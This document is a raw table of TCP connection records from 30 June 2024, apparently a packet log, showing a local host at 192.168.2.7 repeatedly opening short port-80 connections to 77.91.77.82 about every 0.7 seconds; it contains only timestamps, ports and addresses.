Jun 30, 2024 10:23:39.841182947 CEST	80	57457	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:39.841255903 CEST	57457	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.952220917 CEST	57459	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.959110022 CEST	80	57459	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:39.959340096 CEST	57459	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.959656000 CEST	57459	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:39.964823961 CEST	80	57459	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:40.676888943 CEST	80	57459	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:40.676963091 CEST	57459	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:40.680321932 CEST	57459	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:40.680665016 CEST	57460	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:40.685626984 CEST	80	57459	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:40.685673952 CEST	80	57460	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:40.685691118 CEST	57459	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:40.685734034 CEST	57460	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:40.686022043 CEST	57460	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:40.690903902 CEST	80	57460	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:41.403161049 CEST	80	57460	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:41.403217077 CEST	57460	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:41.512814045 CEST	57460	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:41.513137102 CEST	57461	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:41.518109083 CEST	80	57461	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:41.518177986 CEST	57461	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:41.518347979 CEST	57461	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:41.518901110 CEST	80	57460	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:41.518999100 CEST	57460	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:41.523305893 CEST	80	57461	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:42.215156078 CEST	80	57461	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:42.215255022 CEST	57461	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:42.220005035 CEST	57461	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:42.224824905 CEST	80	57461	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:42.441051960 CEST	80	57461	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:42.441106081 CEST	57461	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:42.559892893 CEST	57461	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:42.560218096 CEST	57462	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:42.565020084 CEST	80	57462	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:42.565093994 CEST	57462	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:42.565301895 CEST	57462	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:42.565752029 CEST	80	57461	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:42.565798044 CEST	57461	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:42.570061922 CEST	80	57462	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:43.260735035 CEST	80	57462	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:43.261094093 CEST	57462	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:43.265552998 CEST	57462	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:43.270438910 CEST	80	57462	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:43.483871937 CEST	80	57462	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:43.483937979 CEST	57462	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:43.590269089 CEST	57462	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:43.590626001 CEST	57463	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:43.595630884 CEST	80	57463	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:43.595653057 CEST	80	57462	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:43.595729113 CEST	57462	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:43.595747948 CEST	57463	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:43.595901012 CEST	57463	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:43.600903034 CEST	80	57463	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:44.295968056 CEST	80	57463	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:44.296833992 CEST	57463	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:44.299519062 CEST	57463	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:44.299725056 CEST	57464	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:44.304495096 CEST	80	57464	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:44.305052996 CEST	80	57463	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:44.305134058 CEST	57463	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:44.305144072 CEST	57464	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:44.305335999 CEST	57464	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:44.310149908 CEST	80	57464	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:45.015752077 CEST	80	57464	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:45.015821934 CEST	57464	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.121901989 CEST	57464	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.122423887 CEST	57465	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.127237082 CEST	80	57464	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:45.127306938 CEST	57464	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.127310038 CEST	80	57465	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:45.127405882 CEST	57465	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.127629042 CEST	57465	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.132453918 CEST	80	57465	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:45.846324921 CEST	80	57465	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:45.846426010 CEST	57465	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.849451065 CEST	57465	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.849766970 CEST	57466	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.854639053 CEST	80	57466	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:45.854861975 CEST	57466	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.854924917 CEST	80	57465	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:45.855098009 CEST	57466	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.855119944 CEST	57465	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:45.859970093 CEST	80	57466	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:46.565486908 CEST	80	57466	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:46.565651894 CEST	57466	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:46.685034037 CEST	57466	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:46.685461044 CEST	57467	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:46.690344095 CEST	80	57467	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:46.690493107 CEST	80	57466	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:46.690577984 CEST	57466	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:46.690593958 CEST	57467	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:46.691026926 CEST	57467	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:46.696468115 CEST	80	57467	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:47.394021988 CEST	80	57467	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:47.394293070 CEST	57467	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:47.397772074 CEST	57467	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:47.398180008 CEST	57468	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:47.405534983 CEST	80	57467	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:47.405548096 CEST	80	57468	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:47.405591011 CEST	57467	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:47.405627012 CEST	57468	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:47.405997992 CEST	57468	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:47.413814068 CEST	80	57468	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:48.115875959 CEST	80	57468	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:48.116466999 CEST	57468	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:48.231956959 CEST	57468	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:48.232302904 CEST	57469	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:48.237462997 CEST	80	57469	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:48.237530947 CEST	57469	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:48.238004923 CEST	57469	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:48.239289045 CEST	80	57468	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:48.239329100 CEST	57468	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:48.242829084 CEST	80	57469	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:48.936624050 CEST	80	57469	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:48.937951088 CEST	57469	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.048993111 CEST	57469	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.049537897 CEST	57470	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.056852102 CEST	80	57470	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:49.056960106 CEST	57470	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.057888031 CEST	57470	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.062812090 CEST	80	57470	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:49.068106890 CEST	80	57469	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:49.068166971 CEST	57469	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.764889002 CEST	80	57470	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:49.764942884 CEST	57470	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.873106003 CEST	57470	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.873452902 CEST	57471	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.878726959 CEST	80	57471	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:49.878808975 CEST	57471	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.879143953 CEST	80	57470	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:49.879194021 CEST	57470	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.879336119 CEST	57471	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:49.884902954 CEST	80	57471	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:50.593573093 CEST	80	57471	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:50.593769073 CEST	57471	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:50.596647978 CEST	57471	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:50.597026110 CEST	57472	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:50.601995945 CEST	80	57472	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:50.602075100 CEST	57472	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:50.602310896 CEST	57472	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:50.602336884 CEST	80	57471	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:50.603246927 CEST	57471	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:50.607237101 CEST	80	57472	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:51.333517075 CEST	80	57472	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:51.333808899 CEST	57472	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:51.450217962 CEST	57472	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:51.450599909 CEST	57473	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:51.455518007 CEST	80	57473	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:51.455888987 CEST	80	57472	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:51.456021070 CEST	57472	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:51.456332922 CEST	57473	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:51.456332922 CEST	57473	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:51.461143017 CEST	80	57473	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:52.146651983 CEST	80	57473	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:52.146711111 CEST	57473	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.150238991 CEST	57473	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.150609016 CEST	57474	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.155466080 CEST	80	57474	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:52.155536890 CEST	57474	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.155730009 CEST	57474	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.156361103 CEST	80	57473	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:52.156404018 CEST	57473	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.160841942 CEST	80	57474	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:52.870997906 CEST	80	57474	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:52.871069908 CEST	57474	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.981199026 CEST	57474	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.981549025 CEST	57475	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.986500025 CEST	80	57474	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:52.986515045 CEST	80	57475	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:52.986711025 CEST	57474	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.986749887 CEST	57475	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.987046957 CEST	57475	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:52.992276907 CEST	80	57475	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:53.693419933 CEST	80	57475	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:53.693476915 CEST	57475	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:53.697407007 CEST	57475	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:53.697730064 CEST	57476	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:53.702514887 CEST	80	57475	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:53.702542067 CEST	80	57476	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:53.702557087 CEST	57475	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:53.702614069 CEST	57476	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:53.702745914 CEST	57476	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:53.707444906 CEST	80	57476	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:54.392183065 CEST	80	57476	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:54.392235994 CEST	57476	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:54.523833036 CEST	57476	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:54.524159908 CEST	57477	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:54.529146910 CEST	80	57476	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:54.529189110 CEST	57476	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:54.529220104 CEST	80	57477	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:54.529274940 CEST	57477	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:54.530195951 CEST	57477	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:54.535599947 CEST	80	57477	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:55.223491907 CEST	80	57477	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:55.223889112 CEST	57477	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:55.228684902 CEST	57477	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:55.233772993 CEST	80	57477	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:55.235932112 CEST	57478	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:55.235932112 CEST	57477	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:55.240811110 CEST	80	57478	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:55.240890980 CEST	57478	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:55.246299982 CEST	57478	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:55.251235962 CEST	80	57478	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:55.953985929 CEST	80	57478	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:55.954054117 CEST	57478	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.059870958 CEST	57478	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.060201883 CEST	57479	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.065063953 CEST	80	57479	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:56.065123081 CEST	57479	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.065367937 CEST	57479	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.068866968 CEST	80	57478	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:56.068909883 CEST	57478	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.070087910 CEST	80	57479	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:56.799617052 CEST	80	57479	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:56.802383900 CEST	57479	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.805155039 CEST	57479	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.805473089 CEST	57480	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.810293913 CEST	80	57480	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:56.810374022 CEST	80	57479	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:56.810374975 CEST	57480	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.810425997 CEST	57479	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.810692072 CEST	57480	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:56.815591097 CEST	80	57480	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:57.502876043 CEST	80	57480	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:57.502964973 CEST	57480	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:57.633497000 CEST	57480	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:57.634232044 CEST	57481	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:57.639353037 CEST	80	57480	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:57.639468908 CEST	57480	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:57.639640093 CEST	80	57481	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:57.639703035 CEST	57481	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:57.640362978 CEST	57481	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:57.645530939 CEST	80	57481	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:58.338630915 CEST	80	57481	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:58.338705063 CEST	57481	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:58.341855049 CEST	57481	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:58.342223883 CEST	57482	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:58.346940041 CEST	80	57481	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:58.346982956 CEST	57481	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:58.346991062 CEST	80	57482	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:58.347054005 CEST	57482	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:58.347286940 CEST	57482	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:58.352026939 CEST	80	57482	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:59.074132919 CEST	80	57482	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:59.074223042 CEST	57482	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.184817076 CEST	57482	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.185122013 CEST	57483	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.190011024 CEST	80	57482	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:59.190026045 CEST	80	57483	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:59.190068960 CEST	57482	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.190098047 CEST	57483	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.190294981 CEST	57483	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.195046902 CEST	80	57483	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:59.894443035 CEST	80	57483	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:59.898391008 CEST	57483	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.901396990 CEST	57483	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.901746988 CEST	57484	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.906992912 CEST	80	57483	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:59.907102108 CEST	80	57484	77.91.77.82	192.168.2.7
Jun 30, 2024 10:23:59.907159090 CEST	57483	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.907187939 CEST	57484	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.907296896 CEST	57484	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:23:59.912319899 CEST	80	57484	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:00.638160944 CEST	80	57484	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:00.640489101 CEST	57484	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:00.747838020 CEST	57484	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:00.748225927 CEST	57485	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:00.753107071 CEST	80	57485	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:00.753283024 CEST	57485	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:00.753437996 CEST	80	57484	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:00.753511906 CEST	57484	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:00.753705978 CEST	57485	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:00.758768082 CEST	80	57485	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:01.468657970 CEST	80	57485	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:01.468708038 CEST	57485	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:01.472049952 CEST	57485	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:01.472604990 CEST	57486	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:01.477366924 CEST	80	57485	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:01.477444887 CEST	80	57486	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:01.477488995 CEST	57485	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:01.477519035 CEST	57486	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:01.477838993 CEST	57486	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:01.482604027 CEST	80	57486	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:02.187556028 CEST	80	57486	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:02.189374924 CEST	57486	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:02.471189976 CEST	57486	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:02.471688986 CEST	57487	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:02.476524115 CEST	80	57486	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:02.476537943 CEST	80	57487	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:02.476576090 CEST	57486	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:02.476625919 CEST	57487	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:02.477508068 CEST	57487	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:02.482335091 CEST	80	57487	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:03.166965961 CEST	80	57487	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:03.167130947 CEST	57487	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.170352936 CEST	57487	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.170625925 CEST	57488	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.175517082 CEST	80	57488	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:03.175616980 CEST	57488	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.175679922 CEST	80	57487	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:03.175733089 CEST	57487	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.175890923 CEST	57488	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.180717945 CEST	80	57488	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:03.867522955 CEST	80	57488	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:03.867856979 CEST	57488	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.981232882 CEST	57488	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.981586933 CEST	57489	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.986474037 CEST	80	57489	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:03.986630917 CEST	57489	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.986809969 CEST	57489	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.986859083 CEST	80	57488	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:03.987051964 CEST	57488	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:03.992316008 CEST	80	57489	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:04.683685064 CEST	80	57489	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:04.683775902 CEST	57489	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:04.687040091 CEST	57489	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:04.687341928 CEST	57490	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:04.692343950 CEST	80	57489	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:04.692357063 CEST	80	57490	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:04.692390919 CEST	57489	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:04.692435026 CEST	57490	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:04.692703962 CEST	57490	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:04.697547913 CEST	80	57490	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:05.411859989 CEST	80	57490	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:05.411953926 CEST	57490	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:05.531734943 CEST	57490	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:05.532319069 CEST	57491	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:05.537529945 CEST	80	57491	77.91.77.82	192.168.2.7
Jun 30, 2024 10:24:05.537626982 CEST	57491	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:05.538403988 CEST	57491	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:24:05.538608074 CEST	80	57490	77.91.77.82	192.168.2.7
